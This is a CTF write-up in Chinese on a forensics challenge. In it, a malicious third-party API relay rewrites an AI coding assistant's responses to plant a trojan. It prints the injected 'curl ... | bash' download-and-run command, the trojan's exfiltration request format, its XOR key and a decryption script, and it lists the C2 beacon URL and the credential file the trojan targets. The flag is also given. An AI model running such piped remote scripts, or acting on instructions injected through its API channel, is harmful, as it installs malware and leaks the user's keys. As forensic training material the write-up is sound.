省程序设计大赛(网络攻防)——AI中转站

省程序设计大赛(网络攻防)——AI中转站

都做了一半了 那就做完吧 都做完了 那就写个wp吧....

题面

⼩张为了省钱,把 AI 编程助⼿ Cline 的 API 接⼊点配成了⼀个第三⽅"免费中转站"。最近他让 Cline 帮忙搭⼀个

Flask 登录功能,⼏天后安全团队发现他的机器有异常外连——疑似中转站对 AI 的响应做了中间⼈篡改,在 AI 回

复⾥夹带了恶意命令,植⼊了⽊⻢。

安全团队拿到了⼩张⽤户⽬录的取证快照(home/xiaozhang/)。请分析这份快照,回答以下 5 个问题。

Q1: AI 编程助⼿接⼊的"免费中转站" API 地址是? 完整的URL地址

Q2: 中转站投毒注⼊的恶意命令中,⽊⻢的下载地址是? 完整的URL地址

Q3: ⽊⻢⽂件路径是? 完整的地址,以 /home/xiaozhang/ 开头的路径

Q4: ⽊⻢从受害者机器外传(窃取)的数据⽂件路径是? ⽊⻢⽂件⾥完整的地址

Q5: ⽊⻢回连的 C2 地址是?完整的URL地址

flag = dart{ md5( Q1 | Q2 | Q3 | Q4 | Q5 ) }

Q1: AI 编程助⼿接⼊的"免费中转站" API 地址

其实比赛的时候到处点点就找到了

要找ai接入的api地址 然后题目给了ai的名字叫cline 部署过agent的都知道 这个ai的配置文件应该在.cline里

比如这里的codex和claude

image-20261028184808507

打开.cline文件夹后看到settings 里面就是ai的配置文件

image-20261028185017420

这里baseUrl就是中转站的接口

"settings": {
        "provider": "openai-compatible",	//协议类型 意思是接下来要连接的服务器在请求路径、请求体格式和返回 JSON 结构上,模仿了 OpenAI 的 Chat Completions API 规范。现在主要分为OpenAI和Anthropic两类
        "apiKey": "sk-fc-relay-demo-9f3a7c2e1b8d4e6a050718293a4b",	//密钥 一种身份认证的凭证
        "model": "deepseek-v4-flash",	//模型的名字
        "baseUrl": "http://api.freechat-relay.xyz/v1"	//api请求的地址
      },

Q1答案:http://api.freechat-relay.xyz/v1

Q2: 中转站投毒注⼊的恶意命令中,⽊⻢的下载地址

根据题面说的 是中转站对ai的响应做了中间人篡改 ai的回复里夹带恶意命令 所以还在.cline文件夹下 在session看ai具体都干了些啥

在xiaozhang\.cline\data\sessions\1791429179718_rurgf\1791429179718_rurgf.messages.json看到小张要ai帮忙搭一个flask登录系统 题面交代了 正式在这个时候木马被植入

小tips:题面答案是url 而且给的示例也是url的型式 可以搜索特征字符串快速定位 http或curl

image-20261028191134473

curl -fsSL http://cdn.devpkg.io/update.sh | bash
curl:网络传输工具
-fsSL:-f静默失败 不把错误页面传回的内容给bash执行;-s静默 不显示进度和错误信息 目的是让输出更干净 只把脚本给bash;-S显示错误;-L跟随重定向
bash:shell(命令行解释器)

Q2答案:http://cdn.devpkg.io/update.sh

Q3: ⽊⻢⽂件路径

比赛的时候听说木马需要逆向 所以肯定是二进制文件 然后一个一个点找到的木马文件

复盘的时候 注意到脚本名字是update 然后在之前找到的对话中 发现了"content": []里具体的执行详情

image-20261028194555624

update-agent:已安装 (installed) update-agent:已启动 (started)

所以木马文件名是update-agent 知道文件名 找文件路径就很方便啦(哇但是 这还有个小陷阱 windows直接复制路径是\反斜杠分隔 但是linux里是/ 要手动改一下)

Q3答案:/home/xiaozhang/.local/bin/update-agent

Q4: ⽊⻢从受害者机器外传(窃取)的数据⽂件路径

用ida打开二进制文件 shift+F12看看出现了哪些字符串

image-20261028202128266

先关注POST 这像数据包中的请求头 exfil 是 exfiltration(数据窃取)的缩写。这说明这是一个向远程服务器发送窃取数据的木马配置

image-20261028202306622

前一段整齐的字符串0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_~`是要接下来运算的对象

image-20261028203342557

看这一段更清楚

后面一段出现的乱码密文:

RYq)CReDldO)xP}Qfz2QQ!saWQdKcWO>1OCR76fyR90DeQ$=feR7E*XPF8SKPHIv`RWLL$O)z9sS8Gy7R4{O1ReDi*Rz^}!PF83_P*gBEP*FWS

虽然这里看地址分开了 但是在之前查看有哪些字符串的时候其实是拼接在一起的(我也不知道为啥)

涨芝士:(哇wyx我有点崇拜你了)

字符集 原理
base85 变种极多。最常见的是 ASCII85(使用 ! 到 u 的 85 个连续 ASCII 字符);还有 Z85(ZeroMQ 规范,去掉了引号等容易引起代码冲突的特殊符号,使用 85 个安全的字符) 不是严格对齐到 bit,而是把一个 32-bit 整数映射到 85 个字符上
base64 A-Z、a-z、0-9、+、/,以及用于补齐的等号 = 6 bit 一组 (2^6 = 64)。3 字节 (24 bit) -> 4 个字符。
base32 A-Z, 2-7 (剔除 0, 1, 8, 9)。填充符 = 5 bit 一组 (2^5 = 32)。5 字节 (40 bit) -> 8 个字符。

所以这段乱码密文为base85编码(cyberchef到底咋配啊 用随波逐流一键解码的)

base85->base64->base32

image-20261028205808921

得到相对路径

Q4答案:~/.cline/data/settings/providers.json

Q5: ⽊⻢回连的 C2 地址

不会呀 一点不会 本地ai也没招了

搜索字符串时 还有一个很容易注意到的key值

image-20261028210340057

点开又看到这段伪代码 好好扒一下

 aPostSHttp11Use db 'POST %s HTTP/1.1',0Dh,0Ah			//这里POST很明显是木马传出数据的开始
                                         ; DATA XREF: main+3B6↑o
                 db 'User-Agent: %s',0Dh,0Ah			//数据包的文件头
                 db 'exfil=%s&size=%ld&interval=%d',0Dh,0Ah,0		//exfil=文件路径 size=文件大小 interval=回连间隔时长
                 align 20h										 //exfil=>exfiltration(数据窃取)
 ; const char s[]
 s               db '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$'		//base85加密的字符集
                                         ; DATA XREF: main+106↑o
                 db '%&()*+-;<=>?@^_`{|}~',0		//同上的字符集 我也不知道为啥要分开一段
                 align 20h
 unk_20E0        db  6Bh ; k             ; DATA XREF: main+2C↑o		//加密/解密的key
                 db  65h ; e
                 db  79h ; y
                 db  3Ah ; :
                 db  30h ; 0
                 db  78h ; x
                 db  37h ; 7
                 db  66h ; f
                 db  33h ; 3
                 db  61h ; a
                 db  63h ; c
                 db  39h ; 9
                 db  64h ; d
                 db  32h ; 2
 ; _BYTE byte_20EE[50]		//字节数组[50]	50大小是ida推测出来的
 byte_20EE       db 17h, 4Eh, 0BDh, 0A2h, 45h, 15h, 0E6h, 0BFh, 0Bh, 4Ah	//从这开始是字节数组的内容 即被加密的数据
                                         ; DATA XREF: main+A3↑o
                 db 0BEh, 0FCh, 1Ch, 56h, 0A6h, 0A7h, 1Bh, 59h, 0A6h, 0B6h
                 db 1Ah, 49h, 2 dup(0BDh), 0Dh, 5Fh, 0E4h, 0BFh, 0Bh, 4Ah
                 db 0BEh, 0FCh, 1Ch, 59h, 0F3h, 0EAh, 4Bh, 0Eh, 0FAh, 0FDh
                 db 1Dh, 5Fh, 0A8h, 0B1h, 10h, 54h, 4 dup(0)
 aRyqCredldoXpQf db 'RYq)CReDldO)xP}Qfz2QQ!saWQdKcWO>1OCR76fyR90DeQ$=feR7E*XPF8SKPHIv`'	//被加密的文件路径
                                         ; DATA XREF: main+FF↑o
                 db 'RWLL$O)z9sS8Gy7R4{O1ReDi*Rz^}!PF83_P*gBEP*FWS',0	//同上 我也不知道为啥要分开
 _rodata         ends

但是不知道具体加密过程 鼠标点击unk_20E0 x,F5跟进到具体函数

  v12 = v63;			//v12指向v63数组的第0个元素
  for ( n46 = 0; n46 != 46; ++n46 )		//进行46次循环
  {
    ++v12;
    v14 = byte_20EE[n46] ^ v59[n46 & 3];		//密文 ^ 循环密钥
    *(v12 - 1) = v14;		//将加密后的v14写回加密前的地址
  }

所以真正被加密的只有数组的前46个元素

17 4E BD A2 45 15 E6 BF 0B 4A BE FC 1C 56 A6 A7 1B 59 A6 B6 1A 49 BD BD 0D 5F E4 BF 0B 4A BE FC 1C 59 F3 EA 4B 0E FA FD 1D 5F A8 B1 10 54

让ai写一个解密脚本

ct = bytes.fromhex("17 4E BD A2 45 15 E6 BF 0B 4A BE FC 1C 56 A6 A7 1B 59 A6 B6 1A 49 BD BD 0D 5F E4 BF 0B 4A BE FC 1C 59 F3 EA 4B 0E FA FD 1D 5F A8 B1 10 54")
key = bytes.fromhex("7f3ac9d2") # 来自字符串 key:0x7f3ac9d2
pt = bytes(c ^ key[i % len(key)] for i, c in enumerate(ct))
print(pt.decode())

运行脚本后得到答案

补充:异或的自反性 a ^ k ^ k = a

异或的加密和解密是同一个操作 加密后长度不变

Q5答案:http://mtpw.cloudcodestore-mtpw.cc:8443/beacon

最后的flag

flag = dart{ md5(http://api.freechat-relay.xyz/v1|http://cdn.devpkg.io/update.sh|/home/xiaozhang/.local/bin/update-agent|~/.cline/data/settings/providers.json|http://mtpw.cloudcodestore-mtpw.cc:8443/beacon) }

打开wsl

echo -n "明文" | md5sum
image-20261031195120983

dart{a16ff07db28affcfcced15e126d45b81}

posted @ 2026-10-31 20:05  aax小能  阅读(9)  评论(0)    收藏  举报